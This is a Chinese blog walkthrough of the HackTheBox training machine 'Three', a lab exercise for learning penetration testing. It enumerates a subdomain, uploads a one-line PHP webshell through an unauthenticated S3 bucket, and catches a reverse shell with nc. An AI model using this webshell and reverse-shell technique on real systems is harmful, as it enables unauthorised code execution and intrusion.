目 录CONTENT

文章目录

从零到牛逼第十节:一层Three靶机

cz
cz
2023-05-24 / 4 评论 / 2 点赞 / 605 阅读 / 3,327 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-06-25,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言汇总

在上一节的实验中给大家讲述了密码破解,哈希捕捉,远程代码包含以及执行等相关知识,本节文章将给大家讲解AWS,文件上传漏洞,匿名访问等相关知识,这也是免费靶机中一层的最后一个,后续将给大家讲解进阶二层靶机的渗透。

准备环节

打开控制台

su - root
Ctrl+Shift+T  #同时开启多个终端
cd /home/cz/下载    #你自己的vpn文件路径
openvpn starting_czhtb.ovpn  #通过openvpn连接htb平台
cd /home/cz/桌面  #在新建的终端打开
mkdir 0105   #创建0105实验目录
cd 0105
touch 笔记本.txt
ls

回到htb平台开启实例获取到分配给我们的ip地址

image-1684896179639

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# ping 10.129.55.82
PING 10.129.55.82 (10.129.55.82) 56(84) bytes of data.
64 bytes from 10.129.55.82: icmp_seq=1 ttl=63 time=408 ms
64 bytes from 10.129.55.82: icmp_seq=2 ttl=63 time=238 ms
64 bytes from 10.129.55.82: icmp_seq=3 ttl=63 time=268 ms
64 bytes from 10.129.55.82: icmp_seq=4 ttl=63 time=229 ms

题目详情

答案见文末

TASK 1
How many TCP ports are open?
#译文:
任务1
有多少个 TCP 端口是开放的?
TASK 2
What is the domain of the email address provided in the "Contact" section of the website?
#译文:
任务 2
网站“联系方式”部分提供的电子邮件地址的域名是什么?
TASK 3
In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
#译文:
任务 3
在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?
TASK 4
Which sub-domain is discovered during further enumeration?
#译文:
任务 4
在进一步枚举期间发现了哪个子域?
TASK 5
Which service is running on the discovered sub-domain?
#译文:
任务 5
哪个服务正在发现的子域上运行?
TASK 6
Which command line utility can be used to interact with the service running on the discovered sub-domain?
#译文:
任务 6
哪个命令行实用程序可用于与在已发现的子域上运行的服务进行交互?
TASK 7
Which command is used to set up the AWS CLI installation?
#译文:
任务 7
哪个命令用于设置 AWS CLI 安装?
TASK 8
What is the command used by the above utility to list all of the S3 buckets?
#译文:
任务 8
上述实用程序用于列出所有 S3 存储桶的命令是什么?
TASK 9
This server is configured to run files written in what web scripting language?
#译文:
任务 9
此服务器配置为运行以哪种 Web 脚本语言编写的文件?
SUBMIT FLAG
Submit root flag
#译文:
提交标志
提交根标志

实验环节

nmap扫描

老规矩,先用nmap扫描,我们可以看到开放了22和80端口

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# nmap -sV 10.129.55.82 -o 0105nmap
Nmap scan report for 10.129.55.82 (10.129.55.82)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

浏览器访问10.129.55.82

image-1684897511564

底部发现一个邮箱域名,尝试重定向到该域名

image-1684897608810

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# echo "10.129.55.82 thetoppers.htb" | sudo tee -a /etc/hosts
10.129.55.82 thetoppers.htb

使用域名访问

image-1684897821877

子域名爆破

尝试子域名枚举,使用之前介绍的工具gobuster

🔔什么是子域名?
例如baidu.com这个是主域名,tp.baidu.com,ms.baidu.com这就代表子域名(当然了,这是我随便编的,想看一下主域名到底存在多少子域名,可以通过子域名挖掘机等工具进行爆破)
find语法查找子域名字典

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# find / -name "subdomains-top1million-5000.txt"
/root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

locate语法查找

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# locate subdomains
/root/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
/root/SecLists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
/root/SecLists/Discovery/DNS/combined_subdomains.txt
/root/SecLists/Discovery/DNS/italian-subdomains.txt
/root/SecLists/Discovery/DNS/n0kovo_subdomains.txt
/root/SecLists/Discovery/DNS/shubs-subdomains.txt
/root/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
/root/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
/root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

gobuster爆破

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# gobuster dns -d thetoppers.htb -t 50 -w /root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] Domain:     thetoppers.htb
[+] Threads:    50
[+] Timeout:    1s
[+] Wordlist:   /root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
Found: s3.thetoppers.htb    #找到子域名s3.thetoppers.htb

🔔介绍几个参数

  • u :我们要扫描的 URL。
  • w :我们的单词列表文件的位置。
  • e :我们要求您从响应正文中提取链接,并根据结果提出新的请求。
  • t :并发线程数。
  • o :我们将存储输出的文件的名称。

将子域名加入到hosts里面

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# echo "10.129.103.73 s3.thetoppers.htb" | sudo tee -a /etc/hosts
10.129.103.73 s3.thetoppers.htb

浏览器访问子域名,返回的json状态显示正在运行

image-1684900829665

使用AWS进行交互

🔔什么是S3存储桶
包含关键字“s3 subdomain status running"的快速Google搜索返回此结果表明S3是基于云的对象存储服务。它允许我们将东西存储在称为桶的容器中。AWS S3存储桶有多种用例,包括备份和存诸、媒体托管、软件交付、静态网站等。存储在Amazon S3存储桶中的文件称为S3对象。

安装awscli,这边我已经安装过了

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# apt install awscli
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成                 
awscli 已经是最新版 (2.9.19-1)。

对aws进行配置,所有字段我这边都输入temp(可为任意值),因为有时服务器配置为不检查身份验证,必须配置aws才能工作

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws configure
AWS Access Key ID [****************temp]: temp
AWS Secret Access Key [****************temp]: temp
Default region name [temp]: temp
Default output format [temp]: temp

我们可以使用ls命令列出服务器托管的所有 S3 存储桶。

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls
2023-05-24 10:43:37 thetoppers.htb

我们还可以使用ls命令列出指定桶下的对象和公共前缀。

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
                           PRE images/
2023-05-24 10:43:37          0 .htaccess
2023-05-24 10:43:38      11952 index.php

我们在指定的存储桶中看到文件index.php、.htaccess和一个名为images的目录。看起来这是在端口80上运行的网站的 webroot 。所以Apache服务器使用这个S3存储桶作为存储。

awscli还有另一个功能,允许我们将文件复制到远程存储桶,我们已经知道该网站正在使用PHP。于是,我们可以尝试上传一个PHP shell文件到S3bucket,因为上传到webroot目录,我们可以在浏览器中访问这个网页,浏览器会依次执行这个文件,实现远程代码执行。

首先制作一个php shell

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# echo '<?php system($_GET["cz"]); ?>' > shell.php
   #"" 里面的cz可用任意字母                                                     
┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# ls
0105nmap  11.txt  笔记本.txt  shell.php
#使用ls查看shell.php已经在我们的目录中

使用以下命令将此PHP shell 上传到thetoppers.htb S3存储桶。

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

upload: ./shell.php to s3://thetoppers.htb/shell.php    

浏览器访问如下地址查看shell是否上传,并用url参数cz操作系统命令id

http://thetoppers.htb/shell.php?cz=id

image-1684904892956

来自服务器的响应包含在盒子上执行操作系统命令id的输出。因此,现在让我们尝试获得一个反向shell。这验证了我们有代码通过反向shell,我们将触发远程主机在指定的监听端口上连接回我们本地机器的IP地址。我们可以使用以下方法获取本地机器的tun0IP地址

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# ip addr
8: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.25/23 scope global tun0

那么我们可以将文件从我们的本地上传到存储桶中。

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# touch cz.txt

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# echo "小志IT知识库" > cz.txt

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# cat cz.txt
小志IT知识库

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws s3 --endpoint=http://s3.thetoppers.htb cp cz.txt s3://thetoppers.htb
upload: ./cz.txt to s3://thetoppers.htb/cz.txt 

浏览器访问试试

http://thetoppers.htb/cz.txt

这里乱码估计是不支持中文编码字符,把cz.txt中的中文改成英文就可以正常显示了

image-1684906651150

尝试反向shell

既然我们能够上传自己的文件,那么应该可以上传文件来反弹shell

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# locate php-reverse-shell
/usr/share/webshells/php/php-reverse-shell.php
#从kali系统文件中找一个php马

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# cp /usr/share/webshells/php/php-reverse-shell.php .
#复制到当前目录,注意后面那个点

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# ls
0105nmap  11.txt  笔记本.txt  cz.txt  php-reverse-shell.php  shell.php

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# vim php-reverse-shell.php 
#编辑这个php马,如下图设置

image-1684907030649

上传到桶中

──(root㉿cz)-[/home/cz/桌面/0105]
└─# aws s3 --endpoint=http://s3.thetoppers.htb cp php-reverse-shell.php s3://thetoppers.htb
upload: ./php-reverse-shell.php to s3://thetoppers.htb/php-reverse-shell.php

ctrl+T新建一个终端,开启7777监听

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# nc -lvnp 7777
listening on [any] 7777 ...

各参数的含义:

  • l : 聆听模式。
  • v : 冗长。
  • n : 只有 IP 号码,没有 DNS。
  • p :本地端口号。

浏览器访问http://thetoppers.htb/php-reverse-shell.php,并返回到监听页面,成功反弹shell

┌──(root㉿cz)-[/home/cz/桌面/0105]
└─# nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.55.82] 41496
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 05:50:48 up  3:10,  0 users,  load average: 0.01, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

尝试探索flag

$ pwd
/
$ ls -la
total 92
drwxr-xr-x  22 root root  4096 Jul 19  2022 .
drwxr-xr-x  22 root root  4096 Jul 19  2022 ..
drwxr-xr-x   2 root root  4096 Jul 19  2022 bin
drwxr-xr-x   4 root root  4096 Jul 19  2022 boot
drwxr-xr-x  19 root root  3880 May 24 02:40 dev
drwxr-xr-x 107 root root  4096 Aug  1  2022 etc
drwxr-xr-x   3 root root  4096 Jul 19  2022 home
lrwxrwxrwx   1 root root    34 Jul 19  2022 initrd.img -> boot/initrd.img-4.15.0-189-generic
lrwxrwxrwx   1 root root    34 Jul 19  2022 initrd.img.old -> boot/initrd.img-4.15.0-189-generic
drwxr-xr-x  22 root root  4096 Jul 19  2022 lib
drwxr-xr-x   2 root root  4096 Jul 19  2022 lib64
drwx------   2 root root 16384 Apr 12  2022 lost+found
drwxr-xr-x   2 root root  4096 Jul 19  2022 media
drwxr-xr-x   2 root root  4096 Jul 19  2022 mnt
drwxrwxrwx   4 root root  4096 Apr 12  2022 opt
dr-xr-xr-x 131 root root     0 May 24 02:40 proc
drwx------   8 root root  4096 Aug  1  2022 root
drwxr-xr-x  30 root root   980 May 24 02:41 run
drwxr-xr-x   2 root root 12288 Jul 19  2022 sbin
drwxr-xr-x   2 root root  4096 Aug  6  2020 srv
dr-xr-xr-x  13 root root     0 May 24 02:40 sys
drwxrwxrwt   2 root root  4096 May 24 02:40 tmp
drwxr-xr-x  10 root root  4096 Aug  6  2020 usr
drwxr-xr-x  13 root root  4096 Jul 19  2022 var
lrwxrwxrwx   1 root root    31 Jul 19  2022 vmlinuz -> boot/vmlinuz-4.15.0-189-generic
lrwxrwxrwx   1 root root    31 Jul 19  2022 vmlinuz.old -> boot/vmlinuz-4.15.0-189-generic
$ cd var
$ ls
backups
cache
crash
lib
local
lock
log
mail
opt
run
spool
tmp
www
$ cd www
$ ls
flag.txt
html
$ cat flag.txt
xxxxxxxxxxxxxxxxxxxxxxxxxx  #这个flag就暂时隐藏靠大家自己获取


以上就是Three靶机的全部内容,由于之前文章图片太多,所以小志换了一种展现方式└─# 这后面就是我们用到的命令,下面的就是输入这串命令得到的结果,制作不易,关注小志,零基础学渗透,下期不见不散

2

评论区